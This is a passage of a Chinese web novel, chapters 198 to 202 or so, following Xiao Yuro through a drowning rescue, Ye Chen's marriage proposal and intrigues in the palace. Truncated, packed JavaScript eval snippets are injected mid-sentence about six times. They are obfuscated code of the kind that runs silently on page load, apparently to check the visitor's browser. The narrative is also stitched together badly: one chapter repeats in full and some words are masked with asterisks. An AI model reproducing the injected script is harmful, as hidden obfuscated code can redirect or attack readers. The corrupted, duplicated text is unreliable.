“你是谁?”萧瑾警惕地问,下意识地挡在众人面前。 “在下邬洵,是萧老爷的学生,特来祭拜先师。”邬洵微微躬身,语气恭敬。 进到院内,邬洵看到满园紫藤,不禁吟诵起诗来。 恰逢紫萱带着丫鬟经过,见到萧瑾时神色微僵。她低下头,加快脚步想要离开。 萧语柔适时出现,请邬洵去宗祠上香,又邀他参加明日的乔迁之宴。 临走时,邬洵欲言又止:“县主,在下...”他的目光不自觉地往紫萱离开的方向瞥去。 “大人可了解紫萱的家世?”萧语柔打断道,嘴角带着若有若无的笑意。 两人就紫萱的事情谈了一番,邬洵表明心迹,最后留下一只锦盒才离开。 萧语柔看着他的背影,不禁莞尔。这人倒是个明白人,懂得避嫌。她低头看了看手中的锦盒,轻轻摇了摇头。 她望向屏风后方,只见紫萱双手紧握,指节泛白。 “紫萱,你觉得邬大人如何?”萧语柔轻声问道。 紫萱垂眸,睫毛微颤,一滴泪珠悄然滑落。一旁的紫薇见状,连忙拿出手帕为她拭泪:“姑娘何必自苦?邬大人待你一片真心,这是人尽皆知的事。” “可是...”紫萱欲言又止,泪水在眼眶中打转。 萧语柔轻叹一声,正欲开口安慰,外头传来一阵喧闹声。 第二日的小宴上,庭院内觥筹交错,宾客络绎。萧语柔还未来得及与邬洵商议此事,秦氏便挽着她的手臂款款走来:“那位公子是哪家的?我还从未见过蝉儿能与哪个男子聊得如此投缘。” 萧语柔顺着她的目光望去,只见邬洵与秦蝉正站在假山旁的梅树下说话。春日的暖阳透过枝桠洒落,在两人身上镀上一层柔和的光晕。虽看不清邬洵的表情,但秦蝉却是面若桃花,眉眼带笑,还时不时掩唇轻笑。 这一幕让萧语柔不由蹙眉,想起紫萱前日黯然神伤的模样,心中更添几分不悦。 “语柔!”岑燕燕突然从身后跑来,怀中抱着那只锦鸡大珍,“你竟然让赵家的人过来凑热闹?” 锦鸡大珍也跟着咯咯叫唤,似在**。它最讨厌赵家人身上的气息,每次见到都要闹腾。 萧语柔挑眉:“我并未邀请赵家人。” 话音刚落,丞相夫人便携赵明远兄妹迎面而来。赵夫人一身淡紫色锦缎长裙,举手投足间尽显贵妇风范。 “冒昧前来,还望乐宁县主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紫萱强忍哽咽,轻声应是,但那双手仍紧紧攥着帕子,显示出内心的不安。 第一百九十八章 救人 护城河边已经围了不少人,火把的光芒照亮了河岸。萧语柔拨开人群,只见穆秋煜正在为梁暮雪施救。水珠顺着梁暮雪苍白的脸颊滑落,她的呼吸微弱得几乎察觉不到。 “让开!”萧语柔毫不客气地推开穆秋煜,迅速取出银针为梁暮雪施救。她的手很稳,但心却在颤抖。 很快,梁暮雪吐出一口水,睁开了眼睛。她的目光有些涣散,但还是第一时间认出了萧语柔。 “语柔......”梁暮雪虚弱地唤道。 萧语柔紧握住她的手,同时冷眼看向毫发无损的车夫和丫环:“把他们绑起来,等梁御史来问话。” “凭什么抓我们?”车夫不服气地嚷道。 “驾车入河,你还敢狡辩?”萧语柔冷笑,“别以为我不知道你们打的什么主意。” 这时,穆秋煜上前一步,“在下救了梁小姐,按理说......” “穆大人,”萧语柔打断他,眼中寒光闪烁,“你若再多说一个字,别逼我翻脸。” 穆秋煜却露出意味深长的笑容,缓步走近:“语柔,你是不是记得一些不该记得的事?难怪如此痛恨于我?” 梁暮雪闻言,脸色骤变,一口鲜血喷出,昏了过去。萧语柔连忙将她抱起,吩咐人准备马车。 接下来三日,梁暮雪高烧不退。 府中的大夫来来往往,各种药方都试过了,可梁暮雪的情况却没有好转。萧语柔守在床前,为她擦拭额头的汗水,轻声安慰:“暮雪,你一定要挺住。” 外面传来急促的脚步声。“小姐,老夫人染病了!” 萧语柔心头一沉,不得不暂时离开梁暮雪。临走前,她紧紧握住好友的手:“我很快就回来。” 梁暮雪醒来时,已是第四天傍晚。她望着窗外阴沉的天色,听丫鬟说穆秋煜已带着媒人上门提亲。一阵寒意从心底升起,她知道,那些不堪回首的往事终究还是追上了她。 萧府内院,萧语柔的指尖轻轻搭在老夫人的脉门上,屋内一片寂静,只有檀香袅袅升起。她微微蹙眉,感受着脉象的变化,手指不自觉地加重了几分。 “姐姐......”萧星朗站在一旁,眼眶泛红,手指紧紧攥着衣角。 萧语柔收回手,转头看向弟弟时,脸上已经挂上温柔的笑意:“怎么又哭丧着脸?我们星朗什么时候变得这么爱掉眼泪了?” “我没有......”萧星朗急忙用袖子擦了擦眼角,“只是姐姐最近都瘦了,连脸都小了一圈。” “傻孩子。”萧语柔站起身,走到弟弟面前,轻轻揉了揉他的发顶,“过年时吃胖了些,现在瘦下来不是正好。” 萧星朗抿着嘴,眼神闪烁:“可是......” “怎么,这几日不去老将军那里习武,是不想保护姐姐了?”萧语柔故意板起脸。 “不是的!”萧星朗急得跺脚,“我只是......”他的声音渐渐低了下去,“只是担心姐姐。” 萧语柔蹲下身,与弟弟平视:“星朗已经长大了,该学会独当一面了。姐姐能照顾好自己,你要做的就是好好练武,将来成为一个顶天立地的男子汉。” “嗯!”挺直了腰板,眼中闪烁着坚定的光芒,“我一定会成为姐姐最可靠的依靠!” 萧星朗离开后,萧语柔匆匆用过午膳。她刚准备去寻萧瑾,紫萱就急匆匆跑了进来,裙角都沾上了泥点子。 “小姐!”紫萱气喘吁吁地说,“梁府那边传来消息,梁御史已经将穆秋煜母子赶出府了!” 萧语柔手中的茶盏一顿:“当真?” “千真万确!”紫萱连连点头,“梁御史说,只要梁小姐不愿意,他宁可养女儿一辈子,也不会强迫她嫁人。” 萧语柔放下茶盏,立即起身吩咐道:“备马车,我要去宁远伯府。” 叶辰这些日子憔悴了不少,眼下一片青黑,显然是没休息好。见到萧语柔,他立刻迎了上来:“七妹妹,暮雪的烧退了吗?可有好转?” 萧语柔直视着叶辰的眼睛:“二哥哥,若是现在去梁府提亲,你可愿意?” 叶辰脸上闪过一丝慌乱:“我、我现在什么都没有......” “暮雪不在乎这些。”萧语柔打断他的话,“她只想知道,你愿不愿意。” 叶辰的耳根瞬间通红,他低下头,声音几不可闻:“我当然愿意!只是......” “那就别犹豫了。”萧语柔拍了拍他的肩膀,“赶紧去请小舅母陪你去提亲。” 叶辰终于下定决心,快步离去。萧语柔立即安排人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在想......”萧语柔的声音很轻,“有些事,该有个了结了。” 第一百九十八章 救人 护城河边已经围了不少人,火把的光芒照亮了河岸。萧语柔拨开人群,只见穆秋煜正在为梁暮雪施救。水珠顺着梁暮雪苍白的脸颊滑落,她的呼吸微弱得几乎察觉不到。 “让开!”萧语柔毫不客气地推开穆秋煜,迅速取出银针为梁暮雪施救。她的手很稳,但心却在颤抖。 很快,梁暮雪吐出一口水,睁开了眼睛。她的目光有些涣散,但还是第一时间认出了萧语柔。 “语柔......”梁暮雪虚弱地唤道。 萧语柔紧握住她的手,同时冷眼看向毫发无损的车夫和丫环:“把他们绑起来,等梁御史来问话。” “凭什么抓我们?”车夫不服气地嚷道。 “驾车入河,你还敢狡辩?”萧语柔冷笑,“别以为我不知道你们打的什么主意。” 这时,穆秋煜上前一步,“在下救了梁小姐,按理说......” “穆大人,”萧语柔打断他,眼中寒光闪烁,“你若再多说一个字,别逼我翻脸。” 穆秋煜却露出意味深长的笑容,缓步走近:“语柔,你是不是记得一些不该记得的事?难怪如此痛恨于我?” 梁暮雪闻言,脸色骤变,一口鲜血喷出,昏了过去。萧语柔连忙将她抱起,吩咐人准备马车。 接下来三日,梁暮雪高烧不退。 府中的大夫来来往往,各种药方都试过了,可梁暮雪的情况却没有好转。萧语柔守在床前,为她擦拭额头的汗水,轻声安慰:“暮雪,你一定要挺住。” 外面传来急促的脚步声。“小姐,老夫人染病了!” 萧语柔心头一沉,不得不暂时离开梁暮雪。临走前,她紧紧握住好友的手:“我很快就回来。” 梁暮雪醒来时,已是第四天傍晚。她望着窗外阴沉的天色,听丫鬟说穆秋煜已带着媒人上门提亲。一阵寒意从心底升起,她知道,那些不堪回首的往事终究还是追上了她。 萧府内院,萧语柔的指尖轻轻搭在老夫人的脉门上,屋内一片寂静,只有檀香袅袅升起。她微微蹙眉,感受着脉象的变化,手指不自觉地加重了几分。 “姐姐......”萧星朗站在一旁,眼眶泛红,手指紧紧攥着衣角。 萧语柔收回手,转头看向弟弟时,脸上已经挂上温柔的笑意:“怎么又哭丧着脸?我们星朗什么时候变得这么爱掉眼泪了?” “我没有......”萧星朗急忙用袖子擦了擦眼角,“只是姐姐最近都瘦了,连脸都小了一圈。” “傻孩子。”萧语柔站起身,走到弟弟面前,轻轻揉了揉他的发顶,“过年时吃胖了些,现在瘦下来不是正好。” 萧星朗抿着嘴,眼神闪烁:“可是......” “怎么,这几日不去老将军那里习武,是不想保护姐姐了?”萧语柔故意板起脸。 “不是的!”萧星朗急得跺脚,“我只是......”他的声音渐渐低了下去,“只是担心姐姐。” 萧语柔蹲下身,与弟弟平视:“星朗已经长大了,该学会独当一面了。姐姐能照顾好自己,你要做的就是好好练武,将来成为一个顶天立地的男子汉。” “嗯!”挺直了腰板,眼中闪烁着坚定的光芒,“我一定会成为姐姐最可靠的依靠!” 萧星朗离开后,萧语柔匆匆用过午膳。她刚准备去寻萧瑾,紫萱就急匆匆跑了进来,裙角都沾上了泥点子。 “小姐!”紫萱气喘吁吁地说,“梁府那边传来消息,梁御史已经将穆秋煜母子赶出府了!” 萧语柔手中的茶盏一顿:“当真?” “千真万确!”紫萱连连点头,“梁御史说,只要梁小姐不愿意,他宁可养女儿一辈子,也不会强迫她嫁人。” 萧语柔放下茶盏,立即起身吩咐道:“备马车,我要去宁远伯府。” 叶辰这些日子憔悴了不少,眼下一片青黑,显然是没休息好。见到萧语柔,他立刻迎了上来:“七妹妹,暮雪的烧退了吗?可有好转?” 萧语柔直视着叶辰的眼睛:“二哥哥,若是现在去梁府提亲,你可愿意?” 叶辰脸上闪过一丝慌乱:“我、我现在什么都没有......” “暮雪不在乎这些。”萧语柔打断他的话,“她只想知道,你愿不愿意。” 叶辰的耳根瞬间通红,他低下头,声音几不可闻:“我当然愿意!只是......” “那就别犹豫了。”萧语柔拍了拍他的肩膀,“赶紧去请小舅母陪你去提亲。” 叶辰终于下定决心,快步离去。萧语柔立即安排人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在想......”萧语柔的声音很轻,“有些事,该有个了结了。” 第一百九十九章 叶辰提亲 梁府。 赵丞相面色阴沉,目光如刀般在叶辰身上扫过。 “下官不曾得罪王爷,还请王爷开恩。”他缓缓开口,语气中带着几分威胁的意味。 岑陌闻言,嘴角勾起一抹邪魅的笑容:“威胁本王?” 萧语柔站在一旁,看着这一幕不由得捏紧了手指。指甲深深陷入掌心,却浑然不觉疼痛。她很清楚,赵丞相作为百官之首,若是真的闹大了,定会触怒龙颜。更何况,赵家在朝中根基深厚,轻易不可搬动。 院中的气氛愈发凝重,连周围伺候的下人都不敢大声喘气。 “下官不敢。”赵丞相急忙作揖,但眼中的算计之色却未减分毫。他的目光在叶辰身上停留片刻,又若无其事地移开。 “你敢不敢,本王毫不在意。”岑陌慵懒地靠在椅背上,手指有一下没一下地敲击着扶手,“你但说与本王知晓,这亲事,谈还是不谈?” 赵丞相的目光在岑陌和叶辰之间来回游移,最终还是选择了退让:“既是定王爷牵线搭桥,那下官怎敢夺人所好?恭喜梁大人喜得佳婿。” 话音刚落,所有人都不约而同地松了口气。 梁御史看着这一切,心中五味杂陈。等赵家之人离去,他立刻让人请来了萧语柔。书房内,檀香袅袅,却掩盖不住空气中的凝重。 “贤婿,你这是......”梁御史看着叶辰身上的伤痕,欲言又止。他的手指微微颤抖,显然是被眼前的景象震惊到了。 叶辰低下头,神色愧疚:“在去请叔母的路上,遇到几个醉汉,若非定王爷相救......”他的声音很轻,却字字清晰。 萧语柔听着这番说辞,心中冷笑。赵家人的手段,她再清楚不过。那些所谓的醉汉,怕是早就埋伏好的死士。想到这里,她不由得攥紧了衣袖。 送别时,岑陌忽然朝萧语柔招了招手。 她走到马车边,还未开口,就感觉额头一暖。岑陌的唇轻轻掠过她的额头,带着几分戏谑:“本王应得的报酬。” 萧语柔脸颊瞬间染上一抹红晕。她连忙拉下车帘,将那张让她心神不宁的俊脸遮住。耳边传来他低沉的笑声,让她的心跳更加不受控制。 岑陌低笑一声,令马夫驾车而去。马蹄声渐渐远去,却在萧语柔心中激起阵阵涟漪。 待岑陌走后,萧语柔才发现叶辰正用一种斗志昂扬的目光看着她。 她与秦氏相视一笑,虽然过程曲折,但结果总算不错。 回程路上,萧语柔与秦氏同乘一车。 “邬洵那孩子不错,”秦氏轻声说道,“就是性子太直。” 萧语柔点点头:“是个不错的人。” “只是紫萱......”秦氏欲言又止。 萧语柔摇头:“强扭的瓜不甜,随他们去吧。” 梁暮雪的婚事一经传出,立刻在龙都掀起一阵波澜。茶楼酒肆中,议论纷纷。有人惊讶于赵家的退让,也有人对叶辰的身份颇有微词。 谷霜正在给岑涛磨墨,听闻此事不由蹙眉:“叶辰如何能与赵公子相比?”她的声音中带着几分不屑。 “霜儿很欣赏赵公子?”岑涛放下手中的笔,淡淡问道。他的目光落在谷霜脸上,似乎要看穿她的心思。 谷霜心头一跳,连忙解释:“臣女只是就事论事。”她低下头,不敢与岑涛对视。 “无妨。”岑涛轻笑,“就算你真有其他心思也无用,你终将成为本宫的太子妃。” 这话听在谷霜耳中,却不知为何让她心底发凉。她强压下心中的不安,继续专注地磨着墨。 与此同时,萧语柔正跟着郗澜查看新置办的据点。 “前方有家典当行,”郗澜压低声音介绍道,“都是自己人。后院还有几间房子,平日里可以存放一些东西。” 萧语柔仔细打量着院中来往的人,每个人看似平常,眼神却都格外锐利。他们走路的姿势,说话的语气,都显示出不同于普通商人的气质。 “穆家最近有什么动静?”她问道,目光扫过院中的布置。 “他们盘下了一个大衍商人的铺子,”郗澜左右看了看,确保四下无人,“还有,墨王府最近在暗中接触宋玉亭。” 萧语柔眯起眼睛。大衍、墨王、宋玉亭,这些看似不相干的线索,似乎正在编织成一张大网。 雨帘如丝,细密地笼罩着整个龙都。萧语柔站在窗前,目光穿透雨幕,落在远处模糊的轮廓上。 “墨王入京,似乎并非为了那个位子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小厮听出她语气不对,正要发作,车内突然传来一阵低语。小厮的脸色骤变,忙不迭地要驾车离开。 第二百章 巨额账单 “这就要走?少爷都不要补偿金了?”萧语柔拦在车前,声音中带着一丝讥讽。 “我家公子宅心仁厚,不与你计较!”小厮强装镇定,但声音中已经带上了一丝慌乱。 “既然连公子不计较,那我来计较。”萧语柔唤人取来算盘,手指灵活地拨动着玉珠,“我那套茶具是太后娘娘赏的,价值千两...” 她一项项细数:“婢女是长公主赐的,治伤钱再加精神损失费共一百两。蒙古汗血宝马受惊,九十九两...” 最后将总数报给小厮:“总计三千二百五十八两银子,给连公子抹个零,三千三百两。” 小厮手抖得厉害,“你,你这是**!” “连公子觉得不公?要不要重算?”萧语柔笑意盈盈,但眼中却闪烁着危险的光芒。 车内传来咬牙切齿的声音。这个数目再算一遍,只怕要翻倍。 连公子只得将随身值钱物件全掏出来,连小厮的发簪都不放过,勉强凑齐了银两。 “六姐姐既然回京,为何不回老家转转?”萧语柔看着马车离去的背影,轻声说道。 车内的叶莹脸色煞白,紧咬着唇不敢作声。她没想到会在这里遇到萧语柔,更没想到萧语柔会认出她来。 萧语柔看着手中那支红宝石金簪,正是当年叶莹从叶婉柔那里夺来,得意洋洋戴了好几天的那支。她没想到会在这里遇到叶莹,这个曾经与她亲如姐妹,后来却背叛她的人。 林妈妈走过来,轻声问道:“姑娘,我们还去锦绣坊吗?” 萧语柔沉默片刻,摇了摇头。“今天的事情已经够多了,我们回去吧。” 回到府中,萧语柔坐在书房里,手中把玩着那支红宝石金簪。她的目光落在窗外的雨帘上,思绪飘向远方。 突然,一阵急促的脚步声打断了她的思绪。门被推开,岑陌大步走了进来。 “王爷?”萧语柔惊讶地站起身,“您怎么这时候来?” 岑陌身上还带着湿冷的气息,他着一袭浅青色暗纹长袍,穿着雪色斗篷,整个人清隽如玉。但他的眉间却带着一丝凝重。 “城外有**,皇上命我去查看。”岑陌直接道出实情,“大衍使臣入京,为和亲而来。雨清此次是冲着你我,我暂离龙都,若有事,不必硬撑,等我回来。” 萧语柔心中一紧,连忙取出药物给他。“王爷,您要小心。” “看来只有**,阿柔才救不活。”岑陌突然打趣道,试图缓解气氛。 “这会儿你还开得出玩笑!”萧语柔气得跺脚。 岑陌见状,反而笑意更深。他伸手轻抚萧语柔的脸颊,“放心,我必祥宁归来。” 临走前,他留下一只锦盒,里面是一支新雕的玉簪。“等我回来,为你簪上。” 夜里,萧语柔站在窗前,看着雨水冲刷着窗棂,心中思绪万千。她想起了今天遇到的叶莹,想起了墨王入京后的种种异常,猜测这次岑陌外出,不仅仅是为了查看**那么简单。大衍使臣的到来,必然会引起朝中各方势力的角逐。而她和岑陌,恰恰处在风暴的中心。 这一切,似乎都在预示着一场巨大的风暴即将来临。 就在这时,门外传来一阵急促的脚步声。林妈妈匆匆走进来,脸色凝重。 “姑娘,刚刚收到消息,墨王府有异动。” 萧语柔眉头一皱,“什么异动?” 林妈妈压低声音,“据说墨王府突然增加了守卫,而且有人看到一批神秘的货物被运进府中。” 萧语柔沉思片刻,“继续派人盯着,有任何异常立即报告。” 林妈妈应声退下,萧语柔再次陷入沉思。墨王的举动越发让人捉摸不透,她必须加倍小心。 夜深人静,萧语柔坐在书案前,借着烛光翻阅着各种文书。 突然,一阵微弱的响动引起了她的注意。萧语柔警惕地站起身,悄悄走到窗边。 窗外,一个黑影正在院墙上快速移动。 萧语柔心中一紧,她悄无声息地移动到门边,手中暗暗握紧了一把**。 这时,黑影突然从窗户跃入。萧语柔屏住呼吸,等待着对方靠近。 当他走到书案前时,萧语柔突然出手,**直指对方咽喉。 “别动!”她冷声道。 黑影僵在原地,缓缓举起双手。“姑娘好身手。” 这声音!萧语柔一惊,随即松开手中的**。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽然,马车猛地一颠。 “啊!”随行的宫女惊呼一声,差点摔倒。 马儿突然变得暴躁,在街道上横冲直撞。萧语柔紧紧抓住车厢,感受到马车剧烈的晃动。 “拦住它!”远处传来呼喊声。 火把的光亮由远及近,巡防军闻声赶来。 “何人半夜纵马伤人?”为首的将领厉声喝问。 就在这时,一道身影策马而来,马蹄声急促。 “语柔!”岑燕燕的声音透着兴奋,“我来陪你!” 萧语柔蹙眉:“你怎么...” “我可是听说雅贵妃召你入宫,怎能让你一个人去?”岑燕燕不由分说钻进马车,带进一身雨水和寒气。 宫女的脸色微变,手指不自觉地绞紧了衣角。 一路上接连出现各种意外。等到了宫门口,天已蒙蒙亮。 皇帝正要上朝,听闻雅贵妃染病,特意来看望。 “朕命萧太医为你诊治。” 雅贵妃温柔一笑:“臣妾不敢劳烦御医院,有乐宁县主在,臣妾放心。” 待皇帝离开,雅贵妃的笑容瞬间冷却。她靠在软榻上,眼神阴鸷地打量着萧语柔。 “乐宁,你很聪明。”她意味深长地说,“懂得借巡防军和小郡主壮胆。” 萧语柔不卑不亢:“娘娘过誉了。” 殿内一片寂静。宫女们低着头,大气都不敢出。 “本宫念你医术不错,不妨给你个机会。”雅贵妃冷笑,“你觉得太子妃的位置如何?” 萧语柔眸光一闪:“娘娘说笑了,臣女家世单薄,怎配...” “是啊,”雅贵妃打断她,“你确实配不上。不过只要你听话,本宫不是不能给你个机会。” “多谢娘娘厚爱。”萧语柔福身一礼,“只是臣女愚钝,恐怕难当重任。” 雅贵妃眯起眼睛,目光如刀:“你当真以为,有慕老将军护着,你就能祥宁无事?” “娘娘说得对。”萧语柔浅笑,“若是能得太子妃之位,将来说不定还能母仪天下呢。” 这句话像一把利剑,直戳雅贵妃心中最痛的地方。她死死盯着萧语柔,却在那双清澈的眼眸中看不出丝毫破绽。 雨还在下,敲打着宫殿的琉璃瓦,发出清脆的响声。 “你倒是伶牙俐齿。”雅贵妃冷哼一声,“看病吧。”雅贵妃慵懒地靠在软塌上,声音里透着一丝不耐。殿内檀香缭绕,几个宫女正垂首站立,空气中弥漫着一股压抑的气息。 萧语柔缓步上前,裙摆在地上轻轻拂过。她神色平静,指尖轻轻搭上雅贵妃的手腕。脉象在指尖跳动,一丝异样渐渐浮现。 殿内一片寂静,只有檀香炉里的香烟袅袅上升。萧语柔能感受到雅贵妃灼热的目光落在自己身上,却依然保持着专注的神情。 “恭喜娘娘,您已有身孕。”萧语柔收回手,垂眸道。她的声音不疾不徐,仿佛只是在陈述一件再平常不过的事情。 雅贵妃的眼神骤然变得锐利,“几个月?”她的声音陡然冷了下来,指节不自觉地扣紧了软塌的锦缎。 萧语柔抬眸看了她一眼,目光清澈见底:“一个多月。” 这个答案显然让雅贵妃十分满意,她扬起嘴角,“既然是你探出的喜脉,那你便留在宫中伺候本妃吧。” “不行!”岑燕燕惊呼出声,她急切地向前迈了一步,“语柔她......” “郡主这是觉得本妃配不上让乐宁县主伺候?”雅贵妃眯起眼睛,语气中带着几分威胁。殿内的温度仿佛骤然降低了几分。 萧语柔轻轻拉住岑燕燕的手,感受到好友手心传来的颤抖。她对岑燕燕摇摇头:“郡主不必担心,还请帮我收拾些衣物送进宫来。” “可你的婚期......”岑燕燕咬着唇,眼中满是担忧。 “贵妃娘娘深明大义,自然不会耽误我与定王的婚事。”萧语柔唇角含笑,眼神却格外清明,“毕竟这是圣上赐婚,就连太子也不能更改。” 这话一出,殿内宫人纷纷跪地。空气中弥漫着一股微妙的紧张感。 雅贵妃手指摩挲着软塌上的锦缎:“既如此,便让乐宁县主去栖霞殿与九公主同住吧。” 萧语柔福身告退,裙摆在地上划出一道优美的弧线。岑燕燕连忙跟上,两人走出殿门,迎面而来的凉风让人稍稍清醒了些。 “语柔,你铁了心要在宫中待着?这地方......”岑燕燕拉住萧语柔的手,声音里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“晔妃娘娘可用过晚膳?不如陪臣女吃些,顺便教臣女一些宫中规矩,以防冲撞了贵人。” 晔妃思索片刻,点头应允。 第二百零二章 遇见五公主 萧语柔用完晚膳,晔妃起身告辞。殿内的檀香袅袅,窗外细雨绵绵,空气中弥漫着一股淡淡的湿润气息。 “你且安心住着,若有什么需要,尽管差人来说。”晔妃笑意温柔,眼角的纹路在烛光下若隐若现。她伸手轻抚萧语柔的肩膀,动作亲昵却不失分寸。 萧语柔目送晔妃离开,眼底闪过一丝讥诮。方才连茶都未曾沾唇,如今却说要帮她。这位晔妃娘娘,是想让她欠下人情啊。 九公主被嬷嬷领走后,萧语柔回到房中。檐下的风铃随风轻响,屋内陈设简单却不失典雅。 “萧瑾,记住我说的话。”她轻声提醒。 “嗯。”对方应声离去,身影消失在细雨中,留下一串湿漉漉的脚印。 菱漠嬷嬷迟迟未归,萧语柔简单收拾了下屋子。她望着窗外的雨帘,思绪飘远。这宫里的每一砖每一瓦,都藏着说不清道不明的秘密。她躺在榻上,听着窗外淅淅沥沥的雨声,不知不觉睡了过去。 待她再醒来时,已是午后时分。 推开房门,菱漠嬷嬷正板着脸站在外头,眉宇间带着几分不耐烦:“县主睡够了?” “还行。”萧语柔打了个哈欠,慵懒地活动着筋骨,“是贵妃娘娘召我?” “随我来。”菱漠嬷嬷语气冷淡,转身便走。 长廊上铺着厚重的地毯,吸收了脚步声。两旁的宫女太监看见她们,纷纷低头行礼。萧语柔注意到,这些人的眼神中都带着几分探究。 雅贵妃的宫殿里已是人满为患。皇帝心情大好,赏赐堆满了桌案,珠光宝气,琳琅满目。岑涛和谷家、柳家众人都来恭贺,觥筹交错间,笑语盈盈。 萧语柔从侧门进入,被安排在隔间等候。隔间虽小,但布置精致,显然是专门用来招待贵客的。她瞧见桌上的茯苓饼,也不客气,拿起来就吃。饼香四溢,入口即化。 宫女们面面相觑,却也没说什么。这些点心本就是给下人们垫肚子用的。她们暗暗观察着这位不拘小节的县主,心中各有思量。 吃了两块饼,菱漠嬷嬷便来唤她。萧语柔整理了下衣襟,跟着进了正殿。 殿内灯火通明,香烟缭绕。皇帝端坐在上首,雅贵妃依偎在他身边,脸上洋溢着幸福的光彩。 “乐宁,这次做得不错。”皇帝笑道,目光中带着赞许,“接下来照看贵妃安胎的活计,就交给你了。” “臣女定当尽力。”萧语柔恭敬道,“不过臣女毕竟未出阁,对养胎一事经验有限,还请皇上准许萧太医与臣女一同照料龙嗣。”她说这话时语气谦逊,却暗含机锋。 “准了。”皇帝颔首,显然对她的谨慎很是满意,“你还有什么要求?” “臣女能为王爷尽孝,已是心满意足。” 此言一出,殿内气氛骤然一变。众人的表情各异,有惊讶,有不屑,更多的是若有所思。 柳夫人冷笑,“你还未嫁入定王府,反倒成了孝顺儿媳先锋。”她的扇子轻轻摇动,珠链碰撞发出细微的声响。 “臣女愚钝。”萧语柔转向柳夫人,目光清澈无辜,“您的意思是,臣女不该留在这里尽孝?” 她这话看似谦逊,实则暗藏机锋。若说不该尽孝,她一个外来人,与柳家、贵妃又有何干系?况且她贵为县主,让她留在宫中伺候,本就不合规矩。 柳夫人语塞,脸上一阵红一阵白,终于恼羞成怒:“不知廉耻......” “柳夫人!”岑涛厉声打断,眉头紧皱,“圣上与娘娘在场,请注意言辞。” 谷夫人见状忙打圆场:“县主一片孝心是好事,只是年纪小,言语欠妥,柳夫人莫要见怪。”她说着,意味深长地看了萧语柔一眼。 萧语柔不为所动,静静地站在原地。谷夫人见状,又道:“听闻县主还未学过宫规,不如让她跟着嬷嬷们好好学学。终究要嫁入皇门的,总不能再冲撞长辈。”她的语气温和,却带着不容置疑的意味。 “正是。”柳夫人附和,“帝王家的颜面岂能不顾。” 雅贵妃见皇帝脸色不悦,忙向柳夫人使眼色,笑道:“这些自然要安排。乐宁,你且退下吧。” “臣女告退。”萧语柔福身一礼,转身离去。 萧语柔刚走出殿门,就遇到了五公主。她身边跟着两个宫女,步履匆匆。 “见过五公主殿下。”她行礼道,目光落在五公主憔悴的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫女梨兰 “县主,怎么了?”菱漠嬷嬷那双锐利的眼睛紧盯着她,语气中带着几分试探,“可是身子不适?” 萧语柔回过神来,意识到这位嬷嬷耳力惊人。她强自镇定,露出一抹淡淡的笑容:“没事,方才有些走神,像是做梦一般。” 菱漠嬷嬷若有所思地点点头,却依旧用那种审视的目光打量着她。萧语柔知道,自己方才的异常已经引起了这位老嬷嬷的警觉。 夜色渐深,萧语柔躺在床上,取出白日里林妈妈递来的信件。信封上那熟悉的字迹让她心头一暖,拆开一看,原来是岑陌所写。信中除了叙述近况,还特意告知了四个可靠之人的名字,嘱咐她若遇麻烦可寻他们帮助。 看着这几个名字,萧语柔忽然灵光一闪:莫非岑陌对杨贵妃的事并非一无所知? “墨渊”这个名字来得太过突兀,此前从未有过只言片语。究竟是巧合,还是冥冥中自有天意?萧语柔思忖良久,最终提笔写了封信。字字斟酌,行间暗藏玄机。 次日清晨,她寻了个机会,找到岑陌所说四人中安插在雅贵妃宫中的那位,将信递了出去。那人接过信时的眼神闪烁,似乎早有预料。 雅贵妃的胎儿一切安好,并不需要特别照料。萧语柔例行询问一番,又在宫内外仔细巡视一圈。她的目光扫过每一处角落,确认无可疑之物后才准备离开。 